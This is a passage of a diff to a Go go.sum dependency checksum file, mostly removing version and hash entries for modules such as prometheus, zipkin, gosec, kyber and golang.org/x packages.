h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= github.com/openzipkin/zipkin-go v0.1.1/go.mod h1:NtoC/o8u3JlF1lSlyPNswIbeQH9bJTmOf0Erfk+hxe8= -github.com/openzipkin/zipkin-go v0.1.6/go.mod h1:QgAqvLzwWbR/WpD4A3cGpPtJrZXNIiJc5AZX7/PBEpw= -github.com/openzipkin/zipkin-go v0.2.1/go.mod h1:NaW6tEwdmWMaCDZzg8sh+IBNOxHMPnhQw8ySjnjRyN4= -github.com/openzipkin/zipkin-go v0.2.2/go.mod h1:NaW6tEwdmWMaCDZzg8sh+IBNOxHMPnhQw8ySjnjRyN4= -github.com/oschwald/maxminddb-golang v1.6.0 h1:KAJSjdHQ8Kv45nFIbtoLGrGWqHFajOIm7skTyz/+Dls= -github.com/oschwald/maxminddb-golang v1.6.0/go.mod h1:DUJFucBg2cvqx42YmDa/+xHvb0elJtOm3o4aFQ/nb/w= -github.com/oschwald/maxminddb-golang v1.7.0 h1:JmU4Q1WBv5Q+2KZy5xJI+98aUwTIrPPxZUkd5Cwr8Zc= -github.com/oschwald/maxminddb-golang v1.7.0/go.mod h1:RXZtst0N6+FY/3qCNmZMBApR19cdQj43/NM9VkrNAis= -github.com/pact-foundation/pact-go v1.0.4/go.mod h1:uExwJY4kCzNPcHRj+hCR/HBbOOIwwtUjcrb0b5/5kLM= -github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= -github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= -github.com/performancecopilot/speed v3.0.0+incompatible/go.mod h1:/CLtqpZ5gBg1M9iaPbIdPPGyKcA8hKdoy6hAWba7Yac= -github.com/pierrec/lz4 v1.0.2-0.20190131084431-473cd7ce01a1/go.mod h1:3/3N9NVKO0jef7pBehbT1qWhCMrIgbYNnFAZCqQ5LRc= -github.com/pierrec/lz4 v2.0.5+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= -github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= -github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= github.com/prometheus/client_golang v0.8.0 h1:1921Yw9Gc3iSc4VQh3PIoOqgPCZS7G/4xQNVUp8Mda8= github.com/prometheus/client_golang v0.8.0/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= -github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= -github.com/prometheus/client_golang v0.9.3-0.20190127221311-3c4408c8b829/go.mod h1:p2iRAGwDERtqlqzRXnrOVns+ignqQo//hLXqYxZYVNs= -github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= -github.com/prometheus/client_golang v1.1.0 h1:BQ53HtBmfOitExawJ6LokA4x8ov/z0SYYb0+HxJfRI8= -github.com/prometheus/client_golang v1.1.0/go.mod h1:I1FGZT9+L76gKKOs5djB6ezCbFQP1xR9D75/vuwEF3g= -github.com/prometheus/client_golang v1.3.0/go.mod h1:hJaj2vgQTGQmVCsAACORcieXFeDPbaTKGT+JTgUa3og= -github.com/prometheus/client_golang v1.7.1 h1:NTGy1Ja9pByO+xAeH/qiWnLrKtr3hJPNjaVUwnjpdpA= -github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= -github.com/prometheus/client_model v0.0.0-20190115171406-56726106282f/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= -github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 h1:S/YWwWx/RA8rT8tKFRuGUZhuA90OyIBpPCXkcbwU8DE= -github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4 h1:gQz4mCbXsO+nc9n1hCxHcGA3Zx3Eo+UHZoInFGUIXNM= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/client_model v0.1.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= -github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/common v0.0.0-20180801064454-c7de2306084e h1:n/3MEhJQjQxrOUCzh1Y3Re6aJUUWRp2M9+Oc3eVn/54= github.com/prometheus/common v0.0.0-20180801064454-c7de2306084e/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= -github.com/prometheus/common v0.2.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= -github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= -github.com/prometheus/common v0.6.0 h1:kRhiuYSXR3+uv2IbVbZhUxK5zVD/2pp3Gd2PpvPkpEo= -github.com/prometheus/common v0.6.0/go.mod h1:eBmuwkDJBwy6iBfxCBob6t6dR6ENT/y+J+Zk0j9GMYc= -github.com/prometheus/common v0.7.0/go.mod h1:DjGbpBbp5NYNiECxcL/VnbXCCaQpKd3tt26CguLLsqA= -github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= -github.com/prometheus/common v0.13.0 h1:vJlpe9wPgDRM1Z+7Wj3zUUjY1nr6/1jNKyl7llliccg= -github.com/prometheus/common v0.13.0/go.mod h1:U+gB1OBLb1lF3O42bTCL+FK18tX9Oar16Clt/msog/s= github.com/prometheus/procfs v0.0.0-20180725123919-05ee40e3a273 h1:agujYaXJSxSo18YNX3jzl+4G6Bstwt+kqv47GS12uL0= github.com/prometheus/procfs v0.0.0-20180725123919-05ee40e3a273/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= -github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= -github.com/prometheus/procfs v0.0.0-20190117184657-bf6a532e95b1/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= -github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= -github.com/prometheus/procfs v0.0.3 h1:CTwfnzjQ+8dS6MhHHu4YswVAD99sL2wjPqP+VkURmKE= -github.com/prometheus/procfs v0.0.3/go.mod h1:4A/X28fw3Fc593LaREMrKMqOKvUAntwMDaekg4FpcdQ= -github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= -github.com/prometheus/procfs v0.1.3 h1:F0+tqvhOksq22sc6iCHF5WGlWjdwj92p0udFh1VFBS8= -github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= -github.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4= github.com/refraction-networking/utls v0.0.0-20190909200633-43c36d3c1f57 h1:SL1K0QAuC1b54KoY1pjPWe6kSlsFHwK9/oC960fKrTY= github.com/refraction-networking/utls v0.0.0-20190909200633-43c36d3c1f57/go.mod h1:tz9gX959MEFfFN5whTIocCLUG57WiILqtdVxI8c6Wj0= -github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= -github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= -github.com/rogpeppe/go-internal v1.5.2/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= -github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= -github.com/rogpeppe/godef v1.1.2 h1:c5mCx0EcCORJOdVMREX7Lgh1raTxAHFmOfXdEB9u8Jw= -github.com/rogpeppe/godef v1.1.2/go.mod h1:WtY9A/ovuQ+UakAJ1/CEqwwulX/WJjb2kgkokCHi/GY= github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g= -github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/ryanuber/go-glob v1.0.0 h1:iQh3xXAumdQ+4Ufa5b25cRpC5TYKlno6hsv6Cb3pkBk= -github.com/ryanuber/go-glob v1.0.0/go.mod h1:807d1WSdnB0XRJzKNil9Om6lcp/3a0v4qIHxIXzX/Yc= -github.com/samuel/go-zookeeper v0.0.0-20190923202752-2cc03de413da/go.mod h1:gi+0XIa01GRL2eRQVjQkKGqKF3SF9vZR/HnPullcV2E= -github.com/satori/go.uuid v0.0.0-20160927100844-b061729afc07 h1:DEZDfcCVq3xDJrjqdCgyN/dHYVoqR92MCsdqCdxmnhM= -github.com/satori/go.uuid v0.0.0-20160927100844-b061729afc07/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= -github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= -github.com/securego/gosec v0.0.0-20190709033609-4b59c948083c h1:e77ClRtOeEikSJwd2kx9yHx8Q7S4gTKIMlYB7J9LlCA= -github.com/securego/gosec v0.0.0-20190709033609-4b59c948083c/go.mod h1:shk+oGa7JTGg9taMxXk2skTwpt9KQAbryuwFIHCm/fw= -github.com/securego/gosec v0.0.0-20200401082031-e946c8c39989 h1:rq2/kILQnPtq5oL4+IAjgVOjh5e2yj2aaCYi7squEvI= -github.com/securego/gosec v0.0.0-20200401082031-e946c8c39989/go.mod h1:i9l/TNj+yDFh9SZXUTvspXTjbFXgZGP/UvhU1S65A4A= github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= -github.com/sergi/go-diff v1.1.0 h1:we8PVUC3FE2uYfodKH/nBHMSetSfHDR6scGdBi+erh0= -github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= github.com/shurcooL/component v0.0.0-20170202220835-f88ec8f54cc4/go.mod h1:XhFIlyj5a1fBNx5aJTbKoIq0mNaPvOagO+HjB3EtxrY= github.com/shurcooL/events v0.0.0-20181021180414-410e4ca65f48/go.mod h1:5u70Mqkb5O5cxEA8nxTsgrgLehJeAw6Oc4Ab1c/P1HM= github.com/shurcooL/github_flavored_markdown v0.0.0-20181002035957-2122de532470/go.mod h1:2dOwnU2uBioM+SGy2aZoq1f/Sd1l9OkAeAUvjSyvgU0= @@ -622,200 +199,77 @@ github.com/shurcooL/notifications v0.0.0-20181007000457-627ab5aea122/go.mod h1:b github.com/shurcooL/octicon v0.0.0-20181028054416-fa4f57f9efb2/go.mod h1:eWdoE5JD4R5UVWDucdOPg1g2fqQRq78IQa9zlOV1vpQ= github.com/shurcooL/reactions v0.0.0-20181006231557-f2e0b4ca5b82/go.mod h1:TCR1lToEk4d2s07G3XGfz2QrgHXg4RJBvjrOozvoWfk= github.com/shurcooL/sanitized_anchor_name v0.0.0-20170918181015-86672fcb3f95/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= -github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= github.com/shurcooL/users v0.0.0-20180125191416-49c67e49c537/go.mod h1:QJTqeLYEDaXHZDBsXlPCDqdhQuJkuw4NOtaxYe3xii4= github.com/shurcooL/webdavfs v0.0.0-20170829043945-18c3829fa133/go.mod h1:hKmq5kWdCj2z2KEozexVbfEZIWiTjhE0+UjmZgPqehw= -github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= -github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= -github.com/sirupsen/logrus v1.6.0 h1:UBcNElsrwanuuMsnGSlYmtmgbb23qDR5dG+6X6Oo89I= -github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= -github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= -github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= -github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= -github.com/sony/gobreaker v0.4.1/go.mod h1:ZKptC7FHNvhBz7dN2LGjPVBz2sZJmc0/PkyDJOjmxWY= github.com/sourcegraph/annotate v0.0.0-20160123013949-f4cad6c6324d/go.mod h1:UdhH50NIW0fCiwBSr0co2m7BnFLdv4fQTgdqdJTHFeE= github.com/sourcegraph/syntaxhighlight v0.0.0-20170531221838-bd320f5d308e/go.mod h1:HuIsMU8RRBOtsCgI77wP899iHVBQpCmg4ErYMZB+2IA= -github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= -github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= -github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= -github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= -github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ= -github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU= -github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= -github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= -github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= -github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s= -github.com/streadway/amqp v0.0.0-20190404075320-75d898a42a94/go.mod h1:AZpEONHx3DKn8O/DFsRAY58/XVQiIPMTMB1SddzLXVw= -github.com/streadway/amqp v0.0.0-20190827072141-edfb9018d271/go.mod h1:AZpEONHx3DKn8O/DFsRAY58/XVQiIPMTMB1SddzLXVw= -github.com/streadway/handy v0.0.0-20190108123426-d5acb3125c2a/go.mod h1:qNTQ5P5JnDBl6z3cMAg/SywNDC5ABu5ApDIw6lUbRmI= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= -github.com/stretchr/testify v1.4.0 h1:2E4SXV/wtOkTonXsotYi4li6zVWxYlZuYNCXe9XRJyk= -github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07/go.mod h1:kDXzergiv9cbyO7IOYJZWg1U88JhDg3PB6klq9Hg2pA= -github.com/tmc/grpc-websocket-proxy v0.0.0-20170815181823-89b8d40f7ca8/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= -github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0= -github.com/unixpickle/gobfuscate v0.0.0-20200323135930-ec84a80ea6cc h1:v2X2ka0FzYyiVhmXk18EFDUgteTqgpNC/7MAxaRc/so= -github.com/unixpickle/gobfuscate v0.0.0-20200323135930-ec84a80ea6cc/go.mod h1:hMpBQUV+YcOBJXzUptGAf3rMcesmeYxozSxK2G6HqlA= -github.com/urfave/cli v1.20.0/go.mod h1:70zkFmudgCuE/ngEzBv17Jvp/497gISqfk5gWijbERA= -github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0= github.com/viant/assertly v0.4.8 h1:5x1GzBaRteIwTr5RAGFVG14uNeRFxVNbXPWrK2qAgpc= github.com/viant/assertly v0.4.8/go.mod h1:aGifi++jvCrUaklKEKT0BU95igDNaqkvz+49uaYMPRU= github.com/viant/toolbox v0.24.0 h1:6TteTDQ68CjgcCe8wH3D3ZhUQQOJXMTbj/D9rkk2a1k= github.com/viant/toolbox v0.24.0/go.mod h1:OxMCG57V0PXuIP2HNQrtJf2CjqdmbrOx5EkMILuUhzM= -github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= -github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= -github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.2.1 h1:ruQGxdhGHe7FWOJPT0mKs5+pD2Xs1Bm/kdGlHO04FmM= -github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/ziutek/mymysql v1.5.4 h1:GB0qdRGsTwQSBVYuVShFBKaXSnSnYYC2d9knnE1LHFs= -github.com/ziutek/mymysql v1.5.4/go.mod h1:LMSpPZ6DbqWFxNCHW77HeMg9I646SAhApZ/wKdgO/C0= go.dedis.ch/fixbuf v1.0.3 h1:hGcV9Cd/znUxlusJ64eAlExS+5cJDIyTyEG+otu5wQs= go.dedis.ch/fixbuf v1.0.3/go.mod h1:yzJMt34Wa5xD37V5RTdmp38cz3QhMagdGoem9anUalw= -go.dedis.ch/kyber v0.0.0-20170824083343-8f53a63e87fd+incompatible h1:AAAaZPJwirRhDa0UFezb2UAZA+isQOfu2TgY4nXENnA= -go.dedis.ch/kyber v0.0.0-20170824083343-8f53a63e87fd+incompatible/go.mod h1:X2QdOMFu0WkZABwU1fvI+GQSkXIazv2I9qCVL+Tx1Wc= -go.dedis.ch/kyber v0.0.0-20170824083343-8f53a63e87fd h1:tuKhSPASZIyBYK+wcd403NJfOXd+2hny39q+ufdZPYY= -go.dedis.ch/kyber v0.0.0-20170824083343-8f53a63e87fd/go.mod h1:X2QdOMFu0WkZABwU1fvI+GQSkXIazv2I9qCVL+Tx1Wc= -go.dedis.ch/kyber v0.0.0-20180509082236-f066f8d2cd58 h1:7z4wJ1qona0Jczun7WPDjOD07V0E3VAyelGBd0TlcfU= -go.dedis.ch/kyber v0.0.0-20180509082236-f066f8d2cd58/go.mod h1:X2QdOMFu0WkZABwU1fvI+GQSkXIazv2I9qCVL+Tx1Wc= -go.dedis.ch/kyber v0.0.0-20190125094535-ffb719103651 h1:dTGoEbq/SSGWUHVhtnAEz0j68UOL5M6zDjWwONqjChg= -go.dedis.ch/kyber v0.0.0-20190125094535-ffb719103651/go.mod h1:ZmTWKNpMQtl0HLZ/gzZPVfNXO8LEGhYXrLb8bfKsYHE= go.dedis.ch/kyber/v3 v3.0.4/go.mod h1:OzvaEnPvKlyrWyp3kGXlFdp7ap1VC6RkZDTaPikqhsQ= go.dedis.ch/kyber/v3 v3.0.9/go.mod h1:rhNjUUg6ahf8HEg5HUvVBYoWY4boAafX8tYxX+PS+qg= go.dedis.ch/kyber/v3 v3.0.12 h1:15d61EyBcBoFIS97kS2c/Vz4o3FR8ALnZ2ck9J/ebYM= go.dedis.ch/kyber/v3 v3.0.12/go.mod h1:kXy7p3STAurkADD+/aZcsznZGKVHEqbtmdIzvPfrs1U= -go.dedis.ch/kyber/v3 v3.0.13 h1:s5Lm8p2/CsTMueQHCN24gPpZ4couBBeKU7r2Yl6r32o= go.dedis.ch/protobuf v1.0.5/go.mod h1:eIV4wicvi6JK0q/QnfIEGeSFNG0ZeB24kzut5+HaRLo= go.dedis.ch/protobuf v1.0.7/go.mod h1:pv5ysfkDX/EawiPqcW3ikOxsL5t+BqnV6xHSmE79KI4= go.dedis.ch/protobuf v1.0.11 h1:FTYVIEzY/bfl37lu3pR4lIj+F9Vp1jE8oh91VmxKgLo= go.dedis.ch/protobuf v1.0.11/go.mod h1:97QR256dnkimeNdfmURz0wAMNVbd1VmLXhG1CrTYrJ4= -go.etcd.io/bbolt v1.3.3/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= -go.etcd.io/etcd v0.0.0-20191023171146-3cf2f69b5738/go.mod h1:dnLIgRNXwCJa5e+c6mIZCrds/GIG4ncV9HhK5PX7jPg= go.opencensus.io v0.18.0/go.mod h1:vKdFvxhtzZ9onBp9VKHK8z/sRpBMnKAsufL7wlDrCOA= -go.opencensus.io v0.20.1/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk= -go.opencensus.io v0.20.2/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk= -go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= -go.opencensus.io v0.22.2 h1:75k/FF0Q2YM8QYo07VPddOLBslDt1MZOdEslOHvmzAs= -go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= -go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= -go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= -go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= -go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= -go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= -go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= -go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= go4.org v0.0.0-20180809161055-417644f6feb5/go.mod h1:MkTOUMDaeVYJUOUsaDXIhWPZYa1yOyC1qaOBpL57BhE= -go4.org v0.0.0-20190218023631-ce4c26f7be8e h1:m9LfARr2VIOW0vsV19kEKp/sWQvZnGobA8JHui/XJoY= -go4.org v0.0.0-20190218023631-ce4c26f7be8e/go.mod h1:MkTOUMDaeVYJUOUsaDXIhWPZYa1yOyC1qaOBpL57BhE= golang.org/x/build v0.0.0-20190111050920-041ab4dc3f9d/go.mod h1:OWs+y06UdEOHN4y+MfF/py+xQ/tYqIWW03b70/CG9Rw= -golang.org/x/build v0.0.0-20190509182522-45de920fc22c h1:lgCiAYQNZHWRJOB1au5nVtnBZS1ZmKN1DpViRg23ZZc= -golang.org/x/build v0.0.0-20190509182522-45de920fc22c/go.mod h1:fYw7AShPAhGMdXqA9gRadk/CcMsvLlClpE5oBwnS3dM= -golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181030102418-4d3f4d9ffa16/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20190211182817-74369b46fc67/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= -golang.org/x/crypto v0.0.0-20190228161510-8dd112bcdc25/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2 h1:VklqNMn3ovrHsnt90PveolxSbWFaJdECFbxSq0Mqo2M= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190313024323-a1f597ede03a/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto 